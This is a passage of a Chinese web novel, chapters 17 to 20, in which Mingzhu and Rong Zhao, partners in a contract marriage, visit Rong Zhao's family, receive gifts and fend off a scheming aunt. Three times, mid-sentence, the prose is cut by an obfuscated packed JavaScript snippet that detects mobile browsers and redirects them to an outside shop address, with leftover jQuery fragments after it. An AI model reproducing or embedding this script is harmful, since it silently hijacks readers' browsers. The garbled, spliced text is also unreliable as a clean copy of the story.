“为什么给我找了妆造老师过来?”
明珠以为她自己准备妆造衣服。
“不想你在这方面费心,一会儿化妆时候看看礼物目录。”
明珠笑了:“没问题,保证全背下来。”
容曌坐在沙发上穿裤子,穿好抬眼:“手里拿的什么?”
明珠看容曌的白衬衫正好是无领的,她从袋子里拿出东西展开:“今天这么重要,做戏做全套嘛,送你条丝巾,我新买的,好看吗?”
6A级生丝织的18姆米真丝面料,专柜卖五千。
结婚八天,她已经花出去五万多了。
颜色轻亮,图案别致,风格娴雅,容曌挑眉:“这是谢礼?”
“倒也不算,毕竟是花你钱买的,真当谢礼就太没有诚意了,是逛街的时候看到这个适合你,就顺手买下来了。”
“……”
她就多余问。
明珠:“但也是特意买给你的,怎么样嘛?”
容曌勉强点评:“还不错。”
“肯定不错啊,我按你的气质买的,那我给你戴上?”
容曌没有拒绝,抬手拢起长发,露出修长白皙的脖颈。
明珠忽然用腿扒拉容曌膝盖。
容曌安静片刻,打开了膝盖。
明珠站在容曌两膝间,低头弯腰给容曌戴丝巾。
柔凉的丝巾穿过容曌的手臂,明珠茉莉香的长发拂过容曌的侧脸。
明珠垂着眼,专注地为容曌系丝巾,她平时只习惯给自己系,还没有以这个角度给人系过,便系得久了点,还顺便坐到了容曌腿上。
容曌抬眼看明珠,呼吸忽然慢了半拍,又慢半拍。
17. 见家长
妆造结束,风和日丽,暖意融融,明珠和容曌在抽了新芽的春日风光中上了车。
车行不久,容曌合上前后排之间的隔音屏,明珠知道容曌有话要说,但明珠想先说。
明珠抚着颈上的珍珠项链说:“容容我这样打扮在长辈面前是不是不像好媳妇啊?”
明珠今天是有些意外两位老师竟然没有将她打扮成有些长辈喜欢的温柔淑女模样的,而是放大了她的优点,让她更漂亮明媚了。
容曌看向明珠,明珠穿着红色外套,卷发松弛灵动,发际线上有两小撮绒毛飘动,红唇粉腮,颈上耳上戴着她为明珠准备的珍珠,明眸里闪烁着比这些珍珠都更明亮灿烂的光。
容曌:“你本来是什么样就什么样,做你自己就好,他们会喜欢的。”
明珠放了心,问道:“这些珍珠项链耳饰,你平时戴过吗?”
容曌:“这些是新买的。”
明珠明白了,如果容曌戴过,她再戴,可能会被容曌长辈看出不对劲。
“……那我戴完要还你吗?”
“不用,我不戴这些,就当做是提前给你的一小部分片酬。”
明珠瞬间笑得满眼亮晶晶:“哎呀,那真让容容破费了呢,我怎么好意思呀。”
容曌知道自己不用回应。
明珠高兴了一会儿,歪着脑袋盯着容曌看:“你刚刚要和我说什么?”
容曌从口袋里拿出一个红色的真皮首饰盒,打开,里面是一枚双色的钻石戒指。
容曌:“如果我爸妈问起戒指的事,就说我们定制的戒指还没做出来,就先买了这枚戴着。”
明珠:“……就一枚?你戴还是我戴?”
容曌拆开这枚钻石戒指,原来是双色缠绕的套戒,可以一分为二,容曌将白金戒圈、中间镶有圆形切割大钻石的戒指递给明珠,另一枚玫瑰金戒圈、镶嵌了两个半圈小颗钻石的戒指戴到自己的右手无名指上。
明珠没想过结婚,也就没关注过钻戒,第一次知道原来还有这样的套戒,新奇地戴到自己的左手无名指上,戒指可调节,戴上很漂亮。
她看一眼容曌右手:“你怎么戴在这只手上?”
容曌看着明珠戴了钻戒的左手,心里轻轻发软:“方便我左手牵你右手,不然硌手。”
明珠:“……”
还挺周到的。
“什么时候买的?”
“下班顺路买的。”
这样啊,那明珠觉得这个应该不太贵。
“离婚的时候我可以留下吗?”明珠问。
“不太贵”是指和容曌的身价比,不是和她的身价比,她现在觉得什么都贵,上面的钻石肯定值很多钱。
容曌:“……随你。”
明珠:“可是都离婚了,我一枚你一枚,是不是有点暧昧了啊?”
“……都给你。”
明珠顿时笑了,一边点头一边装模作样:“说得好像我多贪似的。”
容曌余光看着明珠唇上的那抹贪财笑,容曌眼底深处流闪过一阵沉郁。
天天把离婚二字挂在嘴边,就不累吗。
明珠戴好戒指,举起来给容曌看:“夸夸我,好看吗?”
容曌看了看,确实好看,明珠手指纤细白皙,钻戒被手衬得更亮了。
容曌不紧不慢地启唇:“容太太自然好看,这不是毋庸置疑的吗?”
容太太,毋庸置疑。
明珠咂摸着回味,容太太这个称呼真好听,听着就像贵妇,有花不完的钱钱,而且容曌在认可她好看呢,明珠扬唇笑了。
接着明珠笑容一停。
容曌的意思好像是在夸容太太,不是在夸她白明珠?
明珠嘴巴一噘,在心里嘟嘟哝哝地骂容曌。
容曌把自己的手机递给明珠:“加个微信,你弄吧,锁屏密码6464,再从相册里选一张照片设桌面屏保。”
明珠接过来笑:“你这密码怪练大拇指的。”
容曌漫不经心,嗓音淡淡:“是明的拼音。”
明珠虽然十分自恋,可也很有自知之明,知道这是明月的明,不是明珠的明,“啧”了一声:“您老够自恋的。”
容曌没说什么,偏头看窗外,车窗上映着容曌微抿的唇角。
明珠打开小桌板,把她和容曌的手机放上面操作,互加好友后看到容曌的头像是手绘的一弯黄色小月亮,昵称是一个“明”字,她们俩的名字倒真是巧,都有“明”,不过她的微信名是Gem,宝石的意思,头像是她自己漂亮的自拍。
点进容曌的相册里选照片,最新照片是她们两人那天骑马向姐拍的照片,再往前是一些文档表格的截图,明珠选了对方的照片设为桌面屏保。
设好后,明珠心血来潮把两人的昵称都改成了“老婆”,一个人玩俩手机,用容曌手机给她发了不少肉麻的聊天句子,老婆我好想你,老婆我好爱你,老婆你饶了我,她的回复都是表情包点头或摇头,明珠发得一边起鸡皮疙瘩,一边压不住唇角地笑。
忽然容曌手机被抢走,明珠刹那收了笑。
容曌垂眸看聊天记录,车里安静了。
“……你看看我朋友圈,”过了一会儿,明珠嘴巴闲不下来,主动打破安静,“我也看看你的,别我们俩发了什么,互相都不知道。”
容曌颔首,光明正大地点开了明珠的朋友圈。
明珠也看容曌的,容曌虽然性格清冷,但也发了一些有活人味的朋友圈,有些旅游的,有些家人的。
明珠:“顺便你再和我说说你家的情况吧。”
容曌之前跟明珠说过一些情况。
比如这次回家见的长辈是容曌的爸妈和容曌的爷爷奶奶。
容曌小的时候,容曌的爷爷奶奶就不和容曌爸妈住一块,今天容曌的爷爷奶奶是特意过来见女儿女朋友的。
容曌的三叔三婶堂哥一家三口在容科集团很活跃,容曌的堂哥和容曌算是在抢整个容科的继承人身份,而继承人需要家庭稳定,容曌先结婚一步,也算是领先了一步。
容曌的二叔二婶一家不掺和继承人的事。
今天这些叔辈的亲戚都不在。
容曌只简单地给她介绍了这些。
容曌给母亲发去了一条信息:「今天带回家的不是女朋友,我和明珠已经领证,还有二十分钟到,你们消化接受一下。」
容曌:「这是我和明珠的结婚证。」
容曌:「[/图][/图]」
纪悦女士:「???」
容曌放下手机,抬头对明珠说:“慢慢接触吧,还有我刚和我妈说我带回去的是合法妻子,不是女朋友,不然他们这一周都会来烦你和我。”
明珠:“……”
此时此刻,容曌系着她送的丝巾,戴了玫瑰金边的眼镜,长发半扎半披散,有种高智商的清冷美。
还有种不顾家人死活的冷漠感。
·
到了容家的榖树别墅区。
榖树是很老的别墅区,当初建的时候只配了地上的车库,没有足够的停车位,得把车停在路边,下车走过去。
向姐和钱秘书手里提着东西走在前面,明珠挽着容曌的胳膊走在后面,明珠望着有些熟悉的路边,记起了她第一次见到容曌的画面,就是在容家,在她六年级的时候。
不知道容曌还记不记得,下次再来容家,她问问容曌。
到了容家门口,向姐和钱秘书把东西递给她们俩,两人离开后,容曌方刷脸打开门。
开门有语音提示,客厅里的说话声顿时一停,里面传来了女人声:“是不是明珠和明月回来了?”
容曌微微扬声:“妈,我们回来了。”
客厅那边的脚步声迅速向门口走过来,迎过来的是容曌的爸妈,穿旗袍的纪悦快步走在前面,穿白衬衫的容青山走在后面。
他们刚知道今天见的是女儿媳妇,不是女儿女朋友,刚刚都慌乱死了!<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16708797|189222||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
他们就说呢,容曌怎么会突然让爷爷奶奶也过来!
还有怎么会无缘无故对万家施压给明珠撑腰!
“明珠来了,快进快进。”纪悦急忙忙地走过来招呼。
“叔叔阿姨好,”明珠弯唇笑,边递出手里的东西,“第一次来家里,带了些礼物送叔叔阿姨爷爷奶奶。”
“哎哟,你瞧瞧,来家里就是回家,回家怎么还带礼物啊,老山你接着点。”
纪悦从俩孩子手里接了东西都塞给容青山,笑看明珠说:“好久不见了明珠,比上次在法国碰到你时更漂亮了。”
明珠也算是他们两口子看着长大的了,虽然不是经常碰到,但明珠和容曌初高中学校办活动或是开家长会的时候都能碰到,也和明珠爸妈一起吃过饭,后来俩人上了大学,他们两口子偶尔去国外开会或是参加活动也能碰到明珠,因此是熟悉的。
可万万没想到,他们看着长大的孩子,竟然就和容曌不声不响地恋爱领证了!
虽然说也好也好,相爱的两个人成家了就好,何况明珠还漂亮性格好。
但这实在太奇怪、太突然、太不同寻常,他们都有些怀疑容曌是不是在搞什么事情。
或者和明珠家最近发生的事有关?
明珠上次见到容曌妈妈时还很热情,这回换了身份,知道不能一下子就热情起来,得慢慢来,就带了点害羞含蓄的笑:“我记得上次阿姨穿的是一件白色的长外套,特别好看显气质,一晃半年了,阿姨瞧着比上次见面时的气色状态还更好了。”
纪悦可从来没听过容曌这么和她说话,虽然知道明珠说得都是客气好听话,可也确实好听啊,让她听着就开心,笑着招呼两人快进:“明珠的嘴可比容曌的嘴甜多喽。”
说着纪悦注意到了容曌颈上的丝巾:“这丝巾?”不像容曌的清冷风格啊?
容曌声音略扬:“明珠送的。”
纪悦顿时一笑:“好看!明珠眼光真好,都柔和了容曌这冰山似的气场。快进快进,爷爷奶奶也都在里边儿呢。”
纪悦嗓门高话又多,容青山这几天一直被纪悦耳提面命地叮嘱不许提明珠爸妈的事,以至于现在突然不知道怎么说话了,站在纪悦身边半句话都没插上。
“对了,”纪悦边说着边瞪了容曌一眼,小声对明珠说,“容曌这孩子才跟我们说你俩领证的事,我们一点都不知道,准备得仓促,明珠你别介意。”
明珠也有些拘谨了:“不介意不介意,我也是来的路上刚知道,对不起,叔叔阿姨,我和容曌领证也领得有些仓促,没有提前和你们说。”
纪悦笑:“我还不知道容曌什么性格,肯定是她把你骗过去的,你也蒙在鼓里的,没事没事,你们俩感情好就行,还有还叫什么叔叔阿姨啊,既然你们已经领证了,那就改口叫爸妈吧。”
明珠正要改口,容曌在旁边提醒道:“妈,你们还没给改口费。”
明珠纪悦容青山:“……”
纪悦忙笑说:“好好,一会儿再改,一会儿再说,先进去吧。”
明珠腼腆一笑。
拖鞋都放在地面给两人准备好了,明珠穿粉的,容曌穿白的,容曌牵着明珠的手走出玄关。
明珠落后了容曌小半步,第一次牵手,她才知道容曌的手这么软,软到她不可思议,不禁用力地捏了捏容曌的手。
忽然被捏的容曌回了头,无声问:“紧张?”
明珠摇了头,无声回:“兴奋。”
容曌:“……”
两人走到客厅,容曌脚步微顿,浅浅地皱了下眉,明珠则浅浅地眯了下眼。
容曌的爷爷奶奶都笑着从长沙发上站了起来,坐在单人沙发上的一个中年女人也站了起来,但奶奶身边有一个年轻女生没站起来。
明珠认出来,竟是那天滑雪场站在万苓右边的女生。
明珠漫不经心地看了眼身边的容曌。
容曌不可能不认识,但那天容曌没有出声。
18. 第 18 章
容曌的母亲纪悦,笑着给明珠介绍站在长沙发前的爷爷奶奶,站在单人沙发前的三婶,以及坐在奶奶身边没动的那个没眼力见儿的丫头。
纪悦微笑:“明珠,这是爷爷奶奶,这是三婶,这是三婶的侄女小姗,小姗比容曌小一岁,算是容曌的堂妹,但又比明珠大一岁,不过明珠不用叫姐姐什么的,都是同辈,叫名字小姗就好。”
听纪阿姨提到“堂妹”这个称呼,明珠想起来了,有印象了,她以前在容家玩的时候,确实有个堂妹总在容家玩。
原来这堂妹不是容曌的亲堂妹,是容曌三婶那边的亲戚,和容曌没有血缘关系。
这位堂妹今天化了看似随意实际非常精致的妆,屁股又钉在沙发上始终不动,显然是奔着容曌来的。
明珠和普通人脑回路不大一样,她有时候还挺喜欢和这种人玩的,冷不丁地气对方一下子,看到对方气急败坏的样子,她能偷乐半天。
明珠当下笑得明媚又礼貌:“爷爷奶奶好,三婶好,小姗好。”
容奶奶慈眉善目:“明珠终于来了,我记得明珠小时候就漂亮得像洋娃娃,现在长成大姑娘了,真是更漂亮了。”
容爷爷寡言慈祥:“明珠坐吧,喝点茶。”
容三婶珠光宝气:“明月漂亮,明珠也漂亮,两个人往这儿一站,真是满屋子都亮了,好般配的一对儿。”
容堂妹只微笑点头,没言语。
八人互相问好,互相夸赞,气氛客套,但也喜气融洽。
围绕式的沙发,容曌牵着明珠的手坐在爷爷奶奶对面的沙发上,把两人的结婚证拿出来放到茶几上。
众人围观。
纪悦边围观边深呼吸,容曌这孩子怎么就这么主意正。
围观完毕,容奶奶先徐声发问:“明珠丫头,奶奶问你,你和小明月是认真的吗?”
容曌轻轻拍了一下明珠的手背,温柔安抚模样。
明珠认真说:“奶奶,是真的,我和容曌大学的时候都在外面读书嘛,大二那年,容曌她……”
明珠按照剧本复述,偶尔容曌补充两句。
待两人讲完,在座众人似乎都信了。
“哎哟,这样啊,看来真是,那句话怎么说来着,青梅竹马,两小无嫌猜呀。”三婶谷文秀咯咯笑道。
纪悦不喜欢听这位三弟妹说话,碍于公婆在场,笑着附和了两句。
三婶:“对了,既然你们俩都领证了,打算什么时候办婚礼呀?”
容曌:“过阵子的。”
三婶:“为什么过阵子啊?”
纪悦瞪了谷文秀一眼,当然是最近明珠的情绪不适合,谷文秀这是故意的。
容青山兄弟媳妇故意弄这出,容青山不能再沉默了,避开敏感话题,揽过来问容曌:“是打算找策划公司,还是你们两个自己安排?如果你们不想亲自弄,我和你妈帮你们安排,如果一年半年后办,也得提前定位置。”
容曌看向明珠,唇边带了些笑:“明珠弄,她喜欢弄这些事情,如果她有不懂的,爸妈再帮忙就好。”
明珠:……?
婚礼交给她?
明珠满心疑惑,但现在只点头,提前说着谢谢叔叔阿姨的帮忙。
纪悦和容青山只管笑着说谢什么,一家人不要说客气。
聊得差不多了,容爷爷和容奶奶送上了见面礼,是一对刻有“岁岁平安”和一对刻有“十全十美”的金条,每个都是五十克的,四个便是二百克。
奶奶歉意道:“明珠丫头,小明月只说带回来的是女朋友,没说是妻子,我们老两口就只准备了这份礼物,礼物轻了些,但不代表你在我们心里也轻,你暂且别介意,以后爷爷奶奶给你补上。”
明珠忙说:“爷爷奶奶,这已经很贵重了……”
容曌按住明珠推脱的手,径直把礼物放到明珠包里:“是有些轻了,爷爷奶奶下次给明珠补上。”
爷爷奶奶两人都笑了:“好!”
明珠:“……”这都已经将近二十万了。
容曌爸妈给两人准备的礼物是一对玉镯和一对玉钗。
纪悦同样说:“准备不周到,先送明珠这些,一会儿你和阿姨去书房取。”
容曌比明珠先点了头,拿起两只盒子再放进明珠包里:“还行吧。”
纪悦:“……”
明珠赶紧哄叔叔阿姨开心说她很喜欢这些礼物,哄着哄着便欢声笑语一片。
到长辈们拆礼物的环节,纪悦看向不请自来的二人,也算是间接解释给明珠听:“三弟妹,小姗,你们今天来得巧,我又忙忘了,没来得及跟容曌说你们来了,容曌没给你们准备礼物,你们可别介意。”
容三婶忙说:“大嫂说的什么话,也是我们只想着找你去逛街,忘了给你打电话了,我们哪里还能挑明月的礼。这些礼物都是明珠精心准备的吧?正好让我和小姗开开眼。”
幸好明珠在妆造的时候多读了两遍礼品单和详情寓意介绍,当下节奏不紧不慢地、笑容满面地送礼物介绍礼物。
容曌准备周到,都送到了长辈们的心坎儿里,明珠口舌伶俐嘴甜讨喜,合作着把长辈们哄得连声笑。
容三婶笑着笑着,忽然不合时宜地叹了口气:“我还记得明珠小时候,明珠她爸妈……”
“我小时候,我爸妈带我见了很多人,”明珠自己笑着把话接了过来,“我最记得容叔叔纪阿姨了,每次都会笑着对我说小明珠又漂亮了。”
有些话题越避讳越敏感,还不如直接说开了,也避免容曌爸妈不自然,明珠挽着容曌的胳膊说:“三婶听说我家的事了吧,我们家接受这件事需要些时间,但结果不会变,我爸妈宠了我二十二年,我不会忘了这些感情,以后余生,我都会照顾他们,报他们恩,容容也会陪着我。”
容爷爷轻轻叹了口气:“苦孩子,好孩子。”
爷爷看向儿子和孙女:“兆林那边若是有什么事,你们也帮衬着点,他们两口子也不容易。”
父女俩都点了头,明珠轻声道谢,纪悦走到明珠身后,双手放在明珠肩上,温柔地轻轻拍着。
纪悦适当地转了话题,问两人
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16708798|189222||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
要照片,这样朋友问起的时候,还能翻照片给朋友看。
长辈们和明珠加微信,发照片,众人笑聊了一会儿,容三婶忽然又发了难:“对了明月,三婶是你长辈,说句你不爱听的话,你们俩才谈了多久就背着家里人直接去领证了,有点草率了吧?”
明珠正要开口,容曌再次按住了明珠的手:“我们已经认识十二年,如果这还算草率的话,三婶和三叔认识多久结婚的?当然,感情的深浅与相识的长短无关,我相信三叔三婶的感情也很深,对吗?”
容三婶说不出话了,众人圆场,容奶奶冷瞥了一眼三媳妇,瞥得容三婶低了头。
恰好到用餐时间,一起到餐厅吃饭,继续聊明珠容曌恋爱的小趣事。
到饭后,纪悦把明珠叫到了书房,桌上放着一个半米高的大盒子,纪悦喜气洋洋地打开上下两个抽屉,明珠满眼惊叹,是一组皇冠、项链、耳饰、手镯和戒指,上面镶了好些个不同颜色的明亮宝石,瞧着这一套就是天价。
纪悦拍着明珠的手说:“你三婶那人,你也能听出来是什么样的人吧,刚刚就没拿出来,不然她又要阴阳怪气,奶奶喜欢家和万事兴,我也懒得和你三婶吵,以后少搭理她就行了。这些是我怀容曌时候我跟她爸在拍卖会上拍的,但你也知道容曌,素得很,从来不戴,既然你和容曌领证结婚了,妈就把这套送你,是妈送你的见面礼,现在改口叫妈,妈现在就送你。”
明珠毫不犹豫:“谢谢妈!”
纪悦笑着瞪明珠:“你也不装装,不推脱一下!”
明珠难以移开视线地手抚盒子:“我是什么样的性格,妈你肯定了解呀,不装啦,也装不了,这些太漂亮了,妈,你刚刚的意思是我可以戴?不只是收藏?”
“那当然了!”
·
明珠在书房和纪阿姨聊了很久,后来容叔叔也进来了,明珠也改了口,之后她提着盒子从书房出来的时候还晕晕乎乎的,她当然知道这些东西不会属于她,可纪阿姨说了,她可以戴,她一会儿回家得全戴上拍一遍照片。
戴出去还是算了,太贵重,丢了就惨了,但她可以美美地戴上自我欣赏。
明珠脚步轻快地走到转角,忽然被人拦住了去路,谷嘉姗走到她面前压轻声音说:“白明珠,堂姐不喜欢你,堂姐喜欢陆姿,你自己应该很清楚吧?”
陆姿,曾经和容曌贺禅是铁三角,最好的朋友。
后来陆姿加入她和姜姜,她们三人成为最好的朋友。
明珠当然知道容曌和陆姿之间有些情愫,不然她这么自恋,怎么可能会坚定不移地相信容曌不喜欢她。
因此明珠一点没生气,相反还十分高兴地上前搂住了谷嘉姗的肩膀:“小姗姐姐原来你不是哑巴呀?”
谷嘉姗:“?!”
谷嘉姗正要发作,容曌从楼梯走上来。
侧窗投落下明亮的光,容曌冷淡眸光里一片冰冷,半点暖意都没有。
她冷冷地扫过谷嘉姗,走近明珠,向明珠伸出手,声音刹那染上了暖意:“明珠,我们回家。”
19. 第 19 章
明珠和容曌向长辈们道别,提着长辈们送的礼物离开。
两人坐上车后,不等容曌问明珠“今天累不累”,明珠就先按开了前后排的隔挡屏。
容曌明白明珠有话要说,等着明珠。
明珠把自己拎了一路、容曌说要帮她拿她也不给容曌的首饰皮箱子放到小桌板上
“容容你快看,”明珠兴奋地打开抽屉对容曌说,“阿姨叫我去书房送我的,她说是怀你的时候她和叔叔在拍卖会上拍的,你见过吗?”
容曌有些意外,母亲竟送了明珠这一套东西,便也理解明珠现在笑得合不上嘴的样子了。
饭后明珠补了妆,现在唇红齿白地笑着,黑亮的眼睛也笑得弯弯眯起。
容曌目光在明珠笑唇上一扫而过,垂眸看首饰,摘下了眼镜:“见过,她让我戴,我觉得不适合我就没戴过,你喜欢?”
“喜欢啊,当然喜欢,你觉得太高调张扬是吧?我觉得还挺适合我的。”
容曌对这贵重礼物不甚在意的模样,随意地擦着眼镜说:“既然喜欢,你就心安理得地收着,当作是我的谢礼,今天辛苦你了。”
明珠突然就瞪大了眼睛,夺了容曌手里的眼镜让容曌看她。
“容曌你想什么呢,我白明珠是该收的东西一定收,不该收的东西一定不收,这是骗你家长得来的见面礼,还有你放我包里的长辈送我的礼物,我都不会收,阿姨送的这些我就是爱不释手地欣赏喜欢一下,一会儿我拍拍照片嘚瑟嘚瑟,就送你书房还给你了。”
说着,明珠把眼镜放到容曌手里:“容曌,我可是很拎得清的人,而且你还要感谢我这拎得清的性格呢,不然我要是拎不清,非要缠着你喜欢你,还故意勾引你让你喜欢我,看你以后闹不闹心。”
容曌:“……”
还要感谢明珠的“拎得清”吗,可她此时此刻很不喜欢。
她在意的,明珠不在意,而她不在意的,明珠偏要在意。
容曌戴上眼镜,侧眸看向窗外闪过的一棵棵枯枝,柳叶眉轻蹙,漫不经心地说:“都不是什么贵重的东西,你想留就留,不用有心理负担。不想留就不留,放在我那儿随时想戴就去取。都可以,你自在就好。”
明珠笑:“不留,都放你那,我只收你给我的片酬。”
“嗯。”
明珠笑着,一边还是仇富地瞪了容曌一眼,如果袋子里的金条玉簪都不算贵重,那这一套珠宝还不算贵重东西吗,就算她家有钱的时候,她都没有拍过这么贵的,她家和容家的消费真不是一个级别。
“对啦,容容,那我今天表现好不好呀?有别的奖励吗?”明珠凑近容曌,轻轻拽了拽容曌的丝巾,眨着眼睛仰脸问。
容曌没有回头也能感觉到明珠的下巴快要碰到她衣服,呼吸微滞,淡道:“还不错,先给你把这个月消费的额度补齐。”
“太好了!”
明珠伸手抱住容曌,然而一秒就分开,笑盈盈地坐了回去。
“对了容曌,你两只眼睛都多少度?”
“零度。”
“……”
所以只是装饰是吧……但她刚来找容曌的那晚,容曌在家里为什么还戴着,防蓝光防疲劳的吗?
明珠拍了一路的照片,到家后第一件事就是把婚戒摘了放床头柜里,接着在容曌衣帽间里换衣服换妆发戴上珠宝自拍,晚饭后还在拍,因为想要拍出拍珠宝在月色自然光下的流光。
晚上八点多,明珠终于拍完,也选好了照片存着,提着首饰皮箱去敲开容曌的书房门。
容曌穿着真丝睡裙,外面一件轻柔衬衫,戴着白日里的玫瑰金眼镜,松软长发挽起,簪了母亲送的玉钗,仿佛上世纪洋房里的清冷千金。
“容容,我来还礼物了,你先看一眼,”明珠说着,把抽屉给容曌打开,拍了一张容曌和五件首饰的合影,在微信上把图片发给容曌,“工作留痕,省得以后你打开的时候少了哪个,怀疑是我没还清。”
容曌抬手轻揉太阳穴:“你不是没上过班么,还怕我冤枉你。”
明珠关上首饰盒拍了两下:“没上过班也懂做事要谨慎嘛,何况这么贵的东西。”
容曌看明珠发来的照片,顺手点进明珠朋友圈:“没发照片?”
“没发,”明珠看向容曌身后的窗户,那里映出了她影子,她臭美地弄着头发说,“我就是享受过程,拍的时候开心就行了,不在乎别人给不给我点赞。”
容曌想起上学时期的明珠就是这样,自我,自爱,自信,因此无论何时,明珠总是人群中最明媚耀眼的那一位。
容曌轻轻弯了下唇,转瞬即逝。
明珠低头,看到容曌桌上有只高脚杯,表情微妙地一惊:“你在喝酒?”
容曌起身将首饰盒放到柜子里,里面还有长辈送的礼物,柜子连把锁都没有,随手一关:“你想戴出去玩的时候就自己拿,不用和我说,玩的时候不小心丢了也没关系,不然它也是放在柜子里一辈子。那是安神药酒,今天刚从我爸那儿要的,前些年我爸管公司压力大的时候失眠,他找专人配的,里面有舒缓情绪的合欢皮和陈皮,药材温和,你要尝尝吗?”
明珠好奇:“尝尝,给我个杯子。”
容曌:“直接喝,不嫌弃你。”
明珠摇头,她可不想容曌人前不嫌弃她、事后嫌弃她:“还是给我个杯子吧,你最近失眠吗,因为要见家长,还是公司有事?”
容曌转身表情变沉,从水吧上拿了个小杯,给明珠倒了一口的量:“都有一点吧。”
明
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16708799|189222||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
珠尝了这一口,药酒是白酒泡的,度数不低,味道也很奇怪,但这是容曌爸爸准备的,她不能直接说不好喝:“还行,就是有点辣,那你继续工作吧,我出去了。”
“嗯。”
明珠走后,无名指戴着婚戒始终未摘的容曌锁上书房门,将明珠送她的丝巾缠在手腕上,把药酒倒进明珠用过的杯子里,沿着明珠润唇膏的印子,继续喝酒。
明珠回房洗澡护肤后就准备睡了,可是翻来覆去睡不着,可能是因为拍了好几个小时的贵重首饰有点兴奋,也可能是因为又要和容曌同床了。
容曌回房洗漱完准备睡觉时,注意到明珠还没睡着,虽然闭着眼,但呼吸不均匀,侧躺的身体也不够放松。
关上灯,容曌为自己盖好被子,四下寂静,她声音很轻:“今天累了吗?”
明珠没出声。
容曌:“我掐你一下,你最好也别出声。”
明珠只好转了过来,双手叠压在脸下,声音也轻:“不累,我不像你,你从你内部自身获取能量,我正好是从外部获取能量,社交让我开心。”
“……”
“容曌,我问你,那天在马场,你为什么没和我说那女生是你三婶的侄女?”
容曌耳朵微动,闭着眼说:“她在转角和你说什么了?”
明珠:“没说什么,就是嫉妒阿姨送了我礼物,说了两句不好听的闲话。”
她没必要和容曌说实话,但也不想帮那个堂妹遮掩,换个说法和容曌告状就好了。
容曌声音微冷:“再有下次,你叫她当面和我说。”
明珠满意地笑了:“没事,这点小伎俩我还是能应对的……不知道我感觉得对不对,你三婶是不是总撮合你和她侄女?”
容曌睁开眼:“在意?”
明珠一乐,乐得床都有些颤:“那有什么在意的啊,你就是真喜欢她,我也不在意啊。”
容曌:“……”
明珠是真不在意,容曌她三婶不怎么样,她家里也有个不怎么样的二婶。那个小姗喜欢阴阳怪气挑拨离间,她更熟悉了,好多小丫头都这样。
至于小姗提到的陆姿,她隐隐是有点在意的,但可能也就百分之五吧。
比如陆姿转学前,容曌送了定制的钢琴音乐盒给陆姿,容曌手写的“生日快乐”四字用激光雕刻在音乐盒底部;比如容曌留学去英国,陆姿也在英国,是陆姿先去的;比如容曌旅行打卡地点,陆姿也去过,容曌像是一直在追随着陆姿的脚步。
容曌没有再说话,明珠猜想可能药酒见效快,容曌已经睡过去,明珠就也慢慢睡了过去。
可明珠刚睡过去不久,忽然侧腰一沉,她颈边多了温热带酒的潮湿呼吸,她手腕被握住,手背细细沙沙地擦过柔滑布料。
20. 酒后
明珠醒了,醒得刚刚好。
她刚才竟梦到了陆姿,可能是因为容曌堂妹今天提起了陆姿,她就不知不觉梦到了。
陆姿是个很温柔的女生,现在想来,跟容曌的性格真是互补。
明珠梦到陆姿下课后到她班级门口找她,陆姿给她带了甜甜的白巧克力,她记得她只说过一次她不喜欢吃苦苦的黑巧克力,还会把牙吃得黑黑的,陆姿就记住了。
正因为陆姿总是温温柔柔的样子,和容曌贺禅姜姜都不一样,她就格外喜欢和陆姿说话聊天,每每和陆姿在操场散步时,她都会心情舒畅神清气爽,不像和容曌在班级走廊见面的时候,容曌的一个眼神都能把她气够呛。
明珠已经很多年没有和陆姿有联系了,冷不丁梦到陆姿这事有点奇怪,好像她很在意容曌堂妹说的话似的,幸好醒来了。
但还有一个很重要的关键问题,关于容曌和陆姿之间的那点小情愫,没什么人知道,她还是去陆姿家无意中发现的,而且那又是遥远的学生时代的事了,堂妹是怎么知道的?还故意等她试图挑起她的情绪?
难道过去这么多年,容曌还在想着陆姿?堂妹在容曌家无意发现了容曌现在仍暗恋陆姿的证据?
那可不行啊。
若是堂妹在外面大喇叭喧嚷容曌喜欢的人是陆姿,万一把在国外的陆姿也给叫了回来,那她怎么办?
离婚是万万不行的!
得找时间和堂妹逛街聊天打听一下堂妹是怎么知道的,知道多少。
顺便稳住堂妹,可千万别坏了她和容曌的三年婚姻协议。
她必须得从方方面面维护好容曌在外面的名声和她们俩的婚姻,得让所有人知道她们俩举案齐眉伉俪情深恩爱两不疑。
而且她也挺想从堂妹口中知道容曌和陆姿是怎么回事的。
明珠担心着想到这里,手指微缩,无意识地用力按了一下,忽然听到容曌一声急促的气音,明珠终于彻底回神。
房内有电源光,不是全暗,明珠睁眼看到了容曌眉心轻蹙的柔软模样。
